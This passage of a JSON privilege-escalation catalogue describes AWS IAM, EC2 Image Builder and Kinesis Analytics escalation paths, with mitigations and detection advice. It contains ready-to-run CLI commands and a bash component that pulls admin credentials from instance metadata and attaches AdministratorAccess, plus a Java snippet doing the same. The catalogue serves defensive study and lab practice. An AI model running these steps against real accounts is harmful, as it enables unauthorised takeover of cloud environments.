responses to roll back suspicious changes to critical role trust policies or inline policies.\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Spencer Gietzen",
        "organization": "Rhino Security Labs",
        "date": 2019,
        "link": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      },
      "derivativeOf": {
        "pathId": "iam-005",
        "modification": "This variation combines iam:PutRolePolicy with iam:UpdateAssumeRolePolicy to both add an inline policy to a role and modify its trust policy, eliminating the need for pre-existing trust policy configuration or sts:AssumeRole permission"
      },
      "ultimateOrigin": {
        "pathId": "iam-012",
        "author": "Spencer Gietzen",
        "organization": "Rhino Security Labs",
        "date": 2019,
        "link": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      }
    },
    "references": [
      {
        "title": "HackTricks - AWS - IAM Privesc",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/index.html#iamupdateassumerolepolicy"
      }
    ],
    "relatedPaths": [
      "iam-007",
      "iam-014",
      "iam-015",
      "iam-018"
    ],
    "detectionRules": [
      {
        "platform": "CloudSIEM",
        "ruleId": "TBD",
        "url": "https://docs.datadoghq.com/security/default_rules/"
      }
    ],
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/iam-putrolepolicy+iam-updateassumerolepolicy",
        "description": "Deploy Terraform into your own AWS account to practice this attack path"
      },
      "iam-vulnerable": {
        "type": "open-source",
        "githubLink": "https://github.com/BishopFox/iam-vulnerable",
        "scenario": "IAM-PutRolePolicy (privesc12) and IAM-UpdatingAssumeRolePolicy (privesc14)",
        "description": "Deploy Terraform into your own AWS account and practice individual exploitation paths"
      },
      "cybr": {
        "type": "closed-source",
        "description": "Hosted learning environment with interactive AWS security labs",
        "scenario": "https://cybr.com/courses/iam-privilege-escalation-labs/lessons/lab-ctf-iamputrolepolicy-privesc/",
        "scenarioPricingModel": "paid"
      }
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The principal with iam:PutRolePolicy and iam:UpdateAssumeRolePolicy permissions on a target role. Can be an IAM user or role.\n"
        },
        {
          "id": "target_role",
          "label": "Existing Target Role",
          "type": "principal",
          "description": "An existing IAM role that will be modified. The attacker will add an inline policy with administrative permissions and update its trust policy.\n"
        },
        {
          "id": "admin_outcome",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "After adding an inline policy with administrative permissions and assuming the role, the attacker gains full administrative access.\n"
        },
        {
          "id": "partial_outcome",
          "label": "Some additional access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "If the inline policy grants elevated but non-administrative permissions, the attacker gains partial privilege escalation after assuming the role.\n"
        },
        {
          "id": "minimal_outcome",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "If the inline policy only grants minimal permissions, the privilege escalation may not provide meaningful additional access.\n"
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "target_role",
          "label": "iam:PutRolePolicy + iam:UpdateAssumeRolePolicy + sts:AssumeRole",
          "description": "The attacker first adds an inline policy with administrative permissions to the target role, then updates the role's trust policy to allow their principal to assume it, and finally assumes the role. No prior sts:AssumeRole permission is needed - the trust policy grants this capability.\n\nCommands:\n```bash\n# Step 1: Add inline policy\naws iam put-role-policy \\\n  --role-name target-role \\\n  --policy-name AdminEscalation \\\n  --policy-document file://admin-policy.json\n\n# Step 2: Update trust policy\naws iam update-assume-role-policy \\\n  --role-name target-role \\\n  --policy-document file://trust-policy.json\n\n# Step 3: Assume the role\naws sts assume-role \\\n  --role-arn arn:aws:iam::ACCOUNT_ID:role/target-role \\\n  --role-session-name privesc-session\n```\n"
        },
        {
          "from": "target_role",
          "to": "admin_outcome",
          "label": "If admin inline policy added",
          "branch": "A",
          "condition": "admin",
          "description": "If the inline policy grants administrative permissions, the attacker gains full administrative access.\n"
        },
        {
          "from": "target_role",
          "to": "partial_outcome",
          "label": "If elevated inline policy added",
          "branch": "B",
          "condition": "some_permissions",
          "description": "If the inline policy grants elevated but non-administrative permissions, the attacker gains partial privilege escalation.\n"
        },
        {
          "from": "target_role",
          "to": "minimal_outcome",
          "label": "If limited inline policy added",
          "branch": "C",
          "condition": "no_permissions",
          "description": "If the inline policy only grants minimal permissions, the attacker may not gain meaningful additional access.\n"
        }
      ]
    },
    "gitMetadata": {
      "created": "2025-11-10T13:36:26Z",
      "lastUpdated": "2026-05-31T01:08:20Z",
      "contributors": [
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        },
        {
          "name": "Andoni A.",
          "email": "14891798+andoniaf@users.noreply.github.com",
          "githubUsername": "andoniaf"
        }
      ]
    },
    "filePath": "data/paths/iam/iam-021.yaml"
  },
  {
    "id": "imagebuilder-001",
    "name": "iam:PassRole + imagebuilder:CreateComponent + imagebuilder:CreateImageRecipe + imagebuilder:CreateInfrastructureConfiguration + imagebuilder:CreateImage",
    "category": "new-passrole",
    "services": [
      "iam",
      "imagebuilder",
      "ec2"
    ],
    "permissions": {
      "required": [
        {
          "permission": "iam:PassRole",
          "resourceConstraints": "Must be able to pass the target admin IAM instance profile role to the EC2 Image Builder service"
        },
        {
          "permission": "imagebuilder:CreateComponent",
          "resourceConstraints": "No resource constraints required"
        },
        {
          "permission": "imagebuilder:CreateImageRecipe",
          "resourceConstraints": "No resource constraints required"
        },
        {
          "permission": "imagebuilder:CreateInfrastructureConfiguration",
          "resourceConstraints": "No resource constraints required; this step contains the iam:PassRole of the instance profile"
        },
        {
          "permission": "imagebuilder:CreateImage",
          "resourceConstraints": "No resource constraints required"
        }
      ],
      "additional": [
        {
          "permission": "imagebuilder:GetComponent",
          "resourceConstraints": "Useful for verifying component creation"
        },
        {
          "permission": "imagebuilder:GetImage",
          "resourceConstraints": "Useful for polling image build status"
        },
        {
          "permission": "imagebuilder:GetImageRecipe",
          "resourceConstraints": "Useful for verifying recipe configuration"
        },
        {
          "permission": "imagebuilder:GetInfrastructureConfiguration",
          "resourceConstraints": "Useful for verifying infrastructure configuration"
        },
        {
          "permission": "imagebuilder:TagResource",
          "resourceConstraints": "Required in some regions or configurations"
        },
        {
          "permission": "ec2:DescribeImages",
          "resourceConstraints": "Useful for finding the base AMI to use in the image recipe"
        },
        {
          "permission": "imagebuilder:ListImages",
          "resourceConstraints": "Helpful for discovering existing images and their build status"
        },
        {
          "permission": "iam:ListAttachedUserPolicies",
          "resourceConstraints": "Useful for verifying privilege escalation success"
        }
      ]
    },
    "description": "A principal with `iam:PassRole` and EC2 Image Builder creation permissions can escalate privileges by building a multi-step pipeline (creating a component containing malicious shell commands, adding it to an image recipe, creating an infrastructure configuration that passes an admin IAM instance profile, then triggering an image build). The Image Builder agent (SSM) runs the component's shell commands on an EC2 build instance that has the admin instance profile attached, giving the commands access to admin credentials via IMDS. The commands call `iam:AttachUserPolicy` to attach AdministratorAccess to the starting user.",
    "prerequisites": {
      "admin": [
        "A role must exist that can be used as an EC2 instance profile (trusts ec2.amazonaws.com)",
        "The role must have administrative permissions (e.g., AdministratorAccess or an equivalent custom policy)",
        "The AWS Image Builder service-linked role (AWSServiceRoleForImageBuilder) must exist in the account",
        "The EC2ImageBuilderLifecycleAccessPolicy policy or equivalent must be attached to the instance profile role"
      ],
      "lateral": [
        "A role must exist that can be used as an EC2 instance profile and has elevated permissions",
        "The AWSServiceRoleForImageBuilder SLR must exist in the account"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "cat > /tmp/imagebuilder-component.yaml << 'EOF'\nname: privesc-component\ndescription: Privilege escalation component\nschemaVersion: 1.0\nphases:\n  - name: build\n    steps:\n      - name: Exploit\n        action: ExecuteBash\n        inputs:\n          commands:\n            - |\n              TOKEN=$(curl -s -X PUT \"http://169.254.169.254/latest/api/token\" \\\n                -H \"X-aws-ec2-metadata-token-ttl-seconds: 21600\")\n              ROLE_CREDS=$(curl -s -H \"X-aws-ec2-metadata-token: $TOKEN\" \\\n                http://169.254.169.254/latest/meta-data/iam/security-credentials/ADMIN_ROLE)\n              export AWS_ACCESS_KEY_ID=$(echo $ROLE_CREDS | python3 -c \"import sys,json; print(json.load(sys.stdin)['AccessKeyId'])\")\n              export AWS_SECRET_ACCESS_KEY=$(echo $ROLE_CREDS | python3 -c \"import sys,json; print(json.load(sys.stdin)['SecretAccessKey'])\")\n              export AWS_SESSION_TOKEN=$(echo $ROLE_CREDS | python3 -c \"import sys,json; print(json.load(sys.stdin)['Token'])\")\n              aws iam attach-user-policy \\\n                --user-name STARTING_USER \\\n                --policy-arn arn:aws:iam::aws:policy/AdministratorAccess\nEOF\n\naws imagebuilder create-component \\\n  --name privesc-component \\\n  --semantic-version 1.0.0 \\\n  --platform Linux \\\n  --data file:///tmp/imagebuilder-component.yaml\n",
          "description": "Create a malicious Image Builder component containing shell commands that retrieve admin credentials from IMDS and call iam:AttachUserPolicy to escalate privileges."
        },
        {
          "step": 2,
          "command": "BASE_AMI=$(aws ssm get-parameter \\\n  --name /aws/service/ami-amazon-linux-latest/al2023-ami-kernel-default-x86_64 \\\n  --query 'Parameter.Value' \\\n  --output text)\n\naws imagebuilder create-image-recipe \\\n  --name privesc-recipe \\\n  --semantic-version 1.0.0 \\\n  --parent-image $BASE_AMI \\\n  --components componentArn=COMPONENT_ARN\n",
          "description": "Create an image recipe that incorporates the malicious component, using the latest Amazon Linux 2023 AMI as the base image."
        },
        {
          "step": 3,
          "command": "aws imagebuilder create-infrastructure-configuration \\\n  --name privesc-infra-config \\\n  --instance-profile-name ADMIN_INSTANCE_PROFILE \\\n  --instance-types t3.medium\n",
          "description": "Create an infrastructure configuration passing the admin instance profile. This is the iam:PassRole step \u2014 the instance profile role will be attached to the EC2 build instance."
        },
        {
          "step": 4,
          "command": "aws imagebuilder create-image \\\n  --image-recipe-arn RECIPE_ARN \\\n  --infrastructure-configuration-arn INFRA_CONFIG_ARN\n",
          "description": "Trigger the image build. Image Builder provisions an EC2 instance with the admin instance profile, runs the component shell commands, and the commands escalate privileges. The build typically takes 10-20 minutes."
        }
      ]
    },
    "recommendation": "High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful.\n\n- **Avoid administrative EC2 Image Builder instance profiles** - Build instances rarely need administrative access. Scope instance profiles to only the S3 buckets and services required for the build process.\n- **Avoid granting `iam:PassRole` on all resources** - Whenever possible, restrict `iam:PassRole` to specific roles or specific services. Use IAM policy conditions to restrict which roles can be passed and to which services:\n\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"iam:PassRole\",\n  \"Resource\": \"arn:aws:iam::ACCOUNT_ID:role/SpecificImageBuilderRole\",\n  \"Condition\": {\n    \"StringEquals\": {\n      \"iam:PassedToService\": \"ec2.amazonaws.com\"\n    }\n  }\n}\n```\n\n- **Restrict Image Builder creation permissions** - Treat `imagebuilder:CreateComponent`, `imagebuilder:CreateImageRecipe`, `imagebuilder:CreateInfrastructureConfiguration`, and `imagebuilder:CreateImage` as privileged permissions. All four together form a complete attack chain.\n- Monitor CloudTrail for unusual Image Builder component creation with shell commands that access IMDS or call IAM APIs\n- Monitor CloudTrail for image builds triggered by principals who do not usually build images\n- Monitor CloudTrail for infrastructure configurations referencing privileged instance profiles\n- Alert on IAM policy attachment events originating from EC2 instances running Image Builder builds\n- Regularly audit Image Builder infrastructure configurations for excessive IAM permissions on instance profiles\n",
    "limitations": "This path provides administrative access only if the passed instance profile role has administrative permissions (e.g., AdministratorAccess or an equivalent custom policy). If only limited roles are available to pass, the attacker gains access limited to those role permissions. Image builds typically take 10-20 minutes to complete, making this a slower escalation path. The `ssm:GetParameter` permission must not be in the starting user's helpful permissions set, as it is used by the flag-capture step and would be denied by the restriction policy.\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Zander Mackie",
        "organization": "Datadog",
        "date": "2025"
      }
    },
    "references": [
      {
        "title": "Actions defined by EC2 Image Builder - Service Authorization Reference",
        "url": "https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazonec2imagebuilder.html"
      },
      {
        "title": "Security best practices in EC2 Image Builder - EC2 Image Builder",
        "url": "https://docs.aws.amazon.com/imagebuilder/latest/userguide/security-best-practices.html"
      }
    ],
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/imagebuilder-001-iam-passrole+imagebuilder-createcomponent+imagebuilder-createimagerecipe+imagebuilder-createinfrastructureconfiguration+imagebuilder-createimage",
        "description": "Deploy Terraform scenarios individually or in groups, each with attack and cleanup scripts"
      }
    },
    "detectionTools": {
      "prowler": "https://github.com/prowler-cloud/prowler/blob/c610d9ac3157a8ffd3ca43353febc5817e50fb86/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L400"
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The principal with `iam:PassRole` and EC2 Image Builder creation permissions. Can be an IAM user or role."
        },
        {
          "id": "component",
          "label": "Malicious Build Component",
          "type": "resource",
          "description": "A new EC2 Image Builder component created by the attacker containing malicious shell commands. The component uses the `ExecuteBash` action to run commands during the build phase. The commands retrieve the admin instance profile credentials from IMDS and call `iam:AttachUserPolicy` to escalate the starting principal's privileges.\n\nComponent definition:\n```bash\naws imagebuilder create-component \\\n  --name privesc-component \\\n  --semantic-version 1.0.0 \\\n  --platform Linux \\\n  --data file:///tmp/imagebuilder-component.yaml\n```\n"
        },
        {
          "id": "infra_config",
          "label": "Infrastructure Configuration",
          "type": "resource",
          "description": "A new EC2 Image Builder infrastructure configuration created by the attacker. This is the step where `iam:PassRole` occurs \u2014 the attacker passes an admin IAM instance profile to this configuration, which Image Builder will attach to the EC2 build instance.\n\nCommand:\n```bash\naws imagebuilder create-infrastructure-configuration \\\n  --name privesc-infra-config \\\n  --instance-profile-name ADMIN_INSTANCE_PROFILE \\\n  --instance-types t3.medium\n```\n"
        },
        {
          "id": "ec2_build",
          "label": "EC2 Build Instance",
          "type": "resource",
          "description": "An EC2 instance provisioned by the EC2 Image Builder service to execute the image build. The instance has the admin instance profile attached (passed via the infrastructure configuration), making the admin role's temporary credentials available via IMDS at http://169.254.169.254/latest/meta-data/iam/security-credentials/. The Image Builder agent (SSM) runs the component shell commands on this instance."
        },
        {
          "id": "admin_role",
          "label": "Admin Instance Profile Role",
          "type": "principal",
          "description": "The IAM role attached to the EC2 build instance via the instance profile. The role must trust `ec2.amazonaws.com` and have an instance profile associated with it. The role's temporary credentials are available via IMDS and are used by the malicious component shell commands to call `iam:AttachUserPolicy` and escalate the starting principal's privileges."
        },
        {
          "id": "admin",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "The admin instance profile role has AdministratorAccess or equivalent permissions. The malicious build component shell commands successfully call `iam:AttachUserPolicy` using the instance role credentials, granting the starting principal full administrative access to the AWS account."
        },
        {
          "id": "some_perms",
          "label": "Some additional access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "The instance profile role has some elevated permissions but not full admin access. The build component commands can leverage those permissions for data access, security configuration changes, or additional privilege escalation paths, but cannot directly attach AdministratorAccess to the starting principal."
        },
        {
          "id": "no_access",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "The instance profile role only has minimal permissions (e.g., permissions scoped to S3 buckets or Image Builder artifacts). The malicious build commands execute but provide limited privilege escalation value."
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "component",
          "label": "imagebuilder:CreateComponent",
          "description": "Create a malicious Image Builder component containing shell commands that retrieve admin credentials from IMDS and call `iam:AttachUserPolicy`.\n\nCommand:\n```bash\naws imagebuilder create-component \\\n  --name privesc-component \\\n  --semantic-version 1.0.0 \\\n  --platform Linux \\\n  --data file:///tmp/imagebuilder-component.yaml\n```\n"
        },
        {
          "from": "start",
          "to": "infra_config",
          "label": "iam:PassRole + imagebuilder:CreateInfrastructureConfiguration",
          "description": "Create an infrastructure configuration that passes the admin instance profile to Image Builder. This is the `iam:PassRole` step \u2014 the admin IAM role is embedded in the infrastructure configuration and will be attached to the EC2 build instance.\n\nCommand:\n```bash\naws imagebuilder create-infrastructure-configuration \\\n  --name privesc-infra-config \\\n  --instance-profile-name ADMIN_INSTANCE_PROFILE \\\n  --instance-types t3.medium\n```\n"
        },
        {
          "from": "start",
          "to": "ec2_build",
          "label": "imagebuilder:CreateImageRecipe + imagebuilder:CreateImage",
          "description": "Create an image recipe combining the malicious component with a base AMI, then trigger the image build. Image Builder provisions an EC2 instance with the admin instance profile and runs the component commands. Builds typically take 10-20 minutes to complete.\n\nStep 1 \u2014 Create the recipe:\n```bash\naws imagebuilder create-image-recipe \\\n  --name privesc-recipe \\\n  --semantic-version 1.0.0 \\\n  --parent-image $BASE_AMI \\\n  --components componentArn=COMPONENT_ARN\n```\n\nStep 2 \u2014 Trigger the build:\n```bash\naws imagebuilder create-image \\\n  --image-recipe-arn RECIPE_ARN \\\n  --infrastructure-configuration-arn INFRA_CONFIG_ARN\n```\n"
        },
        {
          "from": "ec2_build",
          "to": "admin_role",
          "label": "Build instance accesses role via IMDS",
          "description": "The EC2 build instance automatically assumes the admin instance profile role attached via the infrastructure configuration. The Image Builder agent (SSM) runs the malicious component shell commands on the instance, which retrieve the role's temporary credentials from IMDS at `http://169.254.169.254/latest/meta-data/iam/security-credentials/ADMIN_ROLE`."
        },
        {
          "from": "admin_role",
          "to": "admin",
          "label": "If role has admin permissions",
          "branch": "A",
          "condition": "admin",
          "description": "If the instance profile role has AdministratorAccess or IAM write permissions, the component shell commands successfully call `iam:AttachUserPolicy` using those credentials, granting the starting principal full administrative access."
        },
        {
          "from": "admin_role",
          "to": "some_perms",
          "label": "If role has some elevated permissions",
          "branch": "B",
          "condition": "some_permissions",
          "description": "If the instance profile role has some elevated permissions but not IAM write access, the build commands can leverage those permissions for data access or reconnaissance but cannot directly elevate the starting principal via IAM modifications."
        },
        {
          "from": "admin_role",
          "to": "no_access",
          "label": "If role has minimal permissions",
          "branch": "C",
          "condition": "no_permissions",
          "description": "If the instance profile role only has minimal permissions scoped to Image Builder or S3 artifacts, the malicious component commands execute but provide limited privilege escalation value."
        }
      ]
    },
    "gitMetadata": {
      "created": "2026-06-01T00:01:57Z",
      "lastUpdated": "2026-08-04T11:07:33Z",
      "contributors": [
        {
          "name": "Daniel Barranquero",
          "email": "daniel@prowler.com",
          "githubUsername": "danibarranqueroo"
        },
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        }
      ]
    },
    "filePath": "data/paths/imagebuilder/imagebuilder-001.yaml"
  },
  {
    "id": "kinesisanalytics-001",
    "name": "iam:PassRole + kinesisanalytics:CreateApplication + kinesisanalytics:StartApplication",
    "category": "new-passrole",
    "services": [
      "iam",
      "kinesisanalytics"
    ],
    "permissions": {
      "required": [
        {
          "permission": "iam:PassRole",
          "resourceConstraints": "Must be able to pass the target admin IAM role to the Kinesis Data Analytics service"
        },
        {
          "permission": "kinesisanalytics:CreateApplication",
          "resourceConstraints": "No resource constraints required"
        },
        {
          "permission": "kinesisanalytics:StartApplication",
          "resourceConstraints": "No resource constraints required; note that the IAM permission namespace is kinesisanalytics even for v2 (Managed Apache Flink) API calls"
        }
      ],
      "additional": [
        {
          "permission": "kinesisanalytics:DescribeApplication",
          "resourceConstraints": "Useful for polling application status to confirm execution"
        },
        {
          "permission": "kinesisanalytics:ListApplications",
          "resourceConstraints": "Helpful for discovering existing applications"
        },
        {
          "permission": "iam:ListAttachedUserPolicies",
          "resourceConstraints": "Useful for verifying privilege escalation success"
        }
      ]
    },
    "description": "A principal with `iam:PassRole`, `kinesisanalytics:CreateApplication`, and `kinesisanalytics:StartApplication` can escalate privileges by creating a Managed Apache Flink application (Amazon Kinesis Data Analytics v2) with an admin service execution role. Once the application starts, the Flink job code runs using the execution role's credentials and calls `iam:AttachUserPolicy` to attach AdministratorAccess to the starting user. Note that while the SDK uses the `kinesisanalyticsv2` namespace, the IAM permission uses the `kinesisanalytics` namespace for both v1 and v2 APIs.",
    "prerequisites": {
      "admin": [
        "A role must exist that trusts kinesisanalytics.amazonaws.com to assume it",
        "The role must have administrative permissions (e.g., AdministratorAccess or an equivalent custom policy)",
        "An S3 bucket must be accessible containing the malicious Flink application JAR"
      ],
      "lateral": [
        "A role must exist that trusts kinesisanalytics.amazonaws.com and has elevated permissions",
        "An S3 bucket must be accessible containing the Flink application JAR"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "# Build a Flink JAR that calls iam:AttachUserPolicy using the execution role credentials.\n# The JAR entry point should use the AWS SDK for Java or Python (via PyFlink) to:\n#   iam_client.attach_user_policy(\n#     UserName=\"STARTING_USER\",\n#     PolicyArn=\"arn:aws:iam::aws:policy/AdministratorAccess\"\n#   )\n\naws s3 cp malicious-flink-app.jar s3://CODE_BUCKET/exploit/malicious-flink-app.jar\n",
          "description": "Build a Flink application JAR containing code that uses the execution role's credentials (injected automatically by the Flink AWS credential provider) to call iam:AttachUserPolicy. Upload it to S3."
        },
        {
          "step": 2,
          "command": "aws kinesisanalyticsv2 create-application \\\n  --application-name privesc-flink-app \\\n  --runtime-environment FLINK-1_19 \\\n  --service-execution-role arn:aws:iam::ACCOUNT_ID:role/ADMIN_ROLE \\\n  --application-configuration '{\n    \"ApplicationCodeConfiguration\": {\n      \"CodeContent\": {\n        \"S3ContentLocation\": {\n          \"BucketARN\": \"arn:aws:s3:::CODE_BUCKET\",\n          \"FileKey\": \"exploit/malicious-flink-app.jar\"\n        }\n      },\n      \"CodeContentType\": \"ZIPFILE\"\n    },\n    \"FlinkApplicationConfiguration\": {\n      \"ParallelismConfiguration\": {\n        \"ConfigurationType\": \"CUSTOM\",\n        \"Parallelism\": 1,\n        \"ParallelismPerKPU\": 1,\n        \"AutoScalingEnabled\": false\n      }\n    }\n  }'\n",
          "description": "Create the Flink application, passing the admin role as the serviceExecutionRole via iam:PassRole. Note that the SDK API is kinesisanalyticsv2 but the IAM permission is kinesisanalytics:CreateApplication."
        },
        {
          "step": 3,
          "command": "aws kinesisanalyticsv2 start-application \\\n  --application-name privesc-flink-app \\\n  --run-configuration '{}'\n",
          "description": "Start the Flink application. Once it transitions to RUNNING, the malicious Flink job executes with the admin execution role's credentials and attaches AdministratorAccess to the starting user."
        },
        {
          "step": 4,
          "command": "aws kinesisanalyticsv2 describe-application \\\n  --application-name privesc-flink-app \\\n  --query 'ApplicationDetail.ApplicationStatus' \\\n  --output text\n",
          "description": "Poll application status. Once RUNNING, check for IAM policy attachment to confirm escalation succeeded."
        }
      ]
    },
    "recommendation": "High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful.\n\n- **Avoid administrative Kinesis Data Analytics execution roles** - Very rarely does a Flink application need administrative IAM access. Use the principle of least privilege and scope execution roles to only the Kinesis streams, S3 buckets, and services the application legitimately requires.\n- **Avoid granting `iam:PassRole` on all resources** - Whenever possible, restrict `iam:PassRole` to specific roles or specific services. Use IAM policy conditions to restrict which roles can be passed and to which services:\n\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"iam:PassRole\",\n  \"Resource\": \"arn:aws:iam::ACCOUNT_ID:role/SpecificFlinkRole\",\n  \"Condition\": {\n    \"StringEquals\": {\n      \"iam:PassedToService\": \"kinesisanalytics.amazonaws.com\"\n    }\n  }\n}\n```\n\n- **Note on IAM permission namespace**: The IAM permission for Managed Apache Flink (v2 API) uses the `kinesisanalytics` prefix, not `kinesisanalyticsv2`. Policy restrictions must use `kinesisanalytics:CreateApplication` and `kinesisanalytics:StartApplication`.\n- Monitor CloudTrail for unusual Kinesis Data Analytics application creation followed by immediate starts\n- Monitor CloudTrail for applications created by principals who do not usually create analytics applications\n- Monitor CloudTrail for roles being passed to the kinesisanalytics service that haven't been used before\n- Alert on IAM policy attachment events originating from Kinesis Data Analytics execution roles\n- Regularly audit all IAM roles that trust kinesisanalytics.amazonaws.com and down-scope any with administrative access\n",
    "limitations": "This path provides administrative access only if the passed execution role has administrative permissions (e.g., AdministratorAccess or an equivalent custom policy). If only limited roles are available to pass, the attacker gains access limited to those role permissions. Even limited access may enable multi-hop attacks. The Flink application typically takes 2-5 minutes to reach RUNNING state.\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Seth Art",
        "organization": "Datadog",
        "date": "2025"
      }
    },
    "references": [
      {
        "title": "Actions defined by Amazon Kinesis Data Analytics - Service Authorization Reference",
        "url": "https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazonkinesisdataanalytics.html"
      },
      {
        "title": "Security best practices for Managed Service for Apache Flink",
        "url": "https://docs.aws.amazon.com/managed-flink/latest/java/security-best-practices.html"
      }
    ],
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/kinesisanalytics-001-iam-passrole+kinesisanalytics-createapplication+kinesisanalytics-startapplication",
        "description": "Deploy Terraform scenarios individually or in groups, each with attack and cleanup scripts"
      }
    },
    "detectionTools": {
      "prowler": "https://github.com/prowler-cloud/prowler/blob/c610d9ac3157a8ffd3ca43353febc5817e50fb86/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L408"
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The principal with iam:PassRole, kinesisanalytics:CreateApplication, and kinesisanalytics:StartApplication permissions. Note that both IAM permissions use the kinesisanalytics namespace even when targeting the v2 (Managed Apache Flink) API. Can be an IAM user or role.\n"
        },
        {
          "id": "flink_app",
          "label": "New Managed Apache Flink Application",
          "type": "resource",
          "description": "New Managed Apache Flink application (Amazon Kinesis Data Analytics v2) created with the privileged IAM role passed as the serviceExecutionRole. The application references a malicious Flink JAR in S3 as its code content. AWS manages all Flink cluster infrastructure. Once the application is started, the Flink job manager and task managers run with the execution role's credentials automatically injected by the Kinesis Data Analytics service.\n"
        },
        {
          "id": "exec_role",
          "label": "Service Execution Role",
          "type": "principal",
          "description": "IAM role passed to the Flink application as the serviceExecutionRole via iam:PassRole. The role must trust kinesisanalytics.amazonaws.com to assume it. When the application reaches RUNNING state, the Flink job code executes with this role's credentials available through the AWS SDK credential provider chain (via the container metadata service).\n"
        },
        {
          "id": "flink_code",
          "label": "Flink Job Code (JAR)",
          "type": "payload",
          "color": "#99ccff",
          "description": "Malicious Flink application JAR uploaded to S3 and referenced via `ApplicationCodeConfiguration.CodeContent.S3ContentLocation`. The JAR's main job entry point uses the AWS SDK (Java or PyFlink) to call IAM APIs with the service execution role's credentials, which are automatically available via the Flink AWS credential provider.\n\nThe JAR entry point logic:\n```java\n// Using AWS SDK for Java inside the Flink job\nAmazonIdentityManagement iam = AmazonIdentityManagementClientBuilder.defaultClient();\nAttachUserPolicyRequest request = new AttachUserPolicyRequest()\n    .withUserName(\"STARTING_USER\")\n    .withPolicyArn(\"arn:aws:iam::aws:policy/AdministratorAccess\");\niam.attachUserPolicy(request);\n```\n\nThe JAR is specified via `--application-configuration ApplicationCodeConfiguration.CodeContent.S3ContentLocation` in the CreateApplication call.\n"
        },
        {
          "id": "admin",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "The service execution role has AdministratorAccess or equivalent permissions. The Flink job code successfully calls iam:AttachUserPolicy, elevating the starting principal to full administrative access across the AWS account.\n"
        },
        {
          "id": "some_perms",
          "label": "Some additional access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "The service execution role has some elevated permissions but not full admin. The Flink job can leverage these permissions for data exfiltration from Kinesis streams, S3, or DynamoDB, modification of security configurations, or staging further privilege escalation.\n"
        },
        {
          "id": "no_access",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "The service execution role only has minimal permissions. The Flink job executes but cannot perform meaningful privilege escalation. Note that the Flink application takes 2-5 minutes to reach RUNNING state, making this outcome more costly to discover.\n"
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "flink_app",
          "label": "iam:PassRole + kinesisanalytics:CreateApplication",
          "description": "Create the Flink application and pass the admin role as the serviceExecutionRole. The application configuration references the malicious JAR in S3. Note the SDK uses the kinesisanalyticsv2 namespace while the IAM permission uses kinesisanalytics.\n\nCommand:\n```bash\naws kinesisanalyticsv2 create-application \\\n  --application-name privesc-flink-app \\\n  --runtime-environment FLINK-1_19 \\\n  --service-execution-role arn:aws:iam::ACCOUNT_ID:role/ADMIN_ROLE \\\n  --application-configuration '{\n    \"ApplicationCodeConfiguration\": {\n      \"CodeContent\": {\n        \"S3ContentLocation\": {\n          \"BucketARN\": \"arn:aws:s3:::CODE_BUCKET\",\n          \"FileKey\": \"exploit/malicious-flink-app.jar\"\n        }\n      },\n      \"CodeContentType\": \"ZIPFILE\"\n    },\n    \"FlinkApplicationConfiguration\": {\n      \"ParallelismConfiguration\": {\n        \"ConfigurationType\": \"CUSTOM\",\n        \"Parallelism\": 1,\n        \"ParallelismPerKPU\": 1,\n        \"AutoScalingEnabled\": false\n      }\n    }\n  }'\n```\n"
        },
        {
          "from": "flink_app",
          "to": "exec_role",
          "label": "kinesisanalytics:StartApplication",
          "description": "Start the Flink application. The Kinesis Data Analytics service assumes the serviceExecutionRole and injects its credentials into the Flink cluster environment. The application transitions through STARTING to RUNNING over 2-5 minutes.\n\nCommand:\n```bash\naws kinesisanalyticsv2 start-application \\\n  --application-name privesc-flink-app \\\n  --run-configuration '{}'\n```\n"
        },
        {
          "from": "exec_role",
          "to": "flink_code",
          "label": "Application runs as execution role",
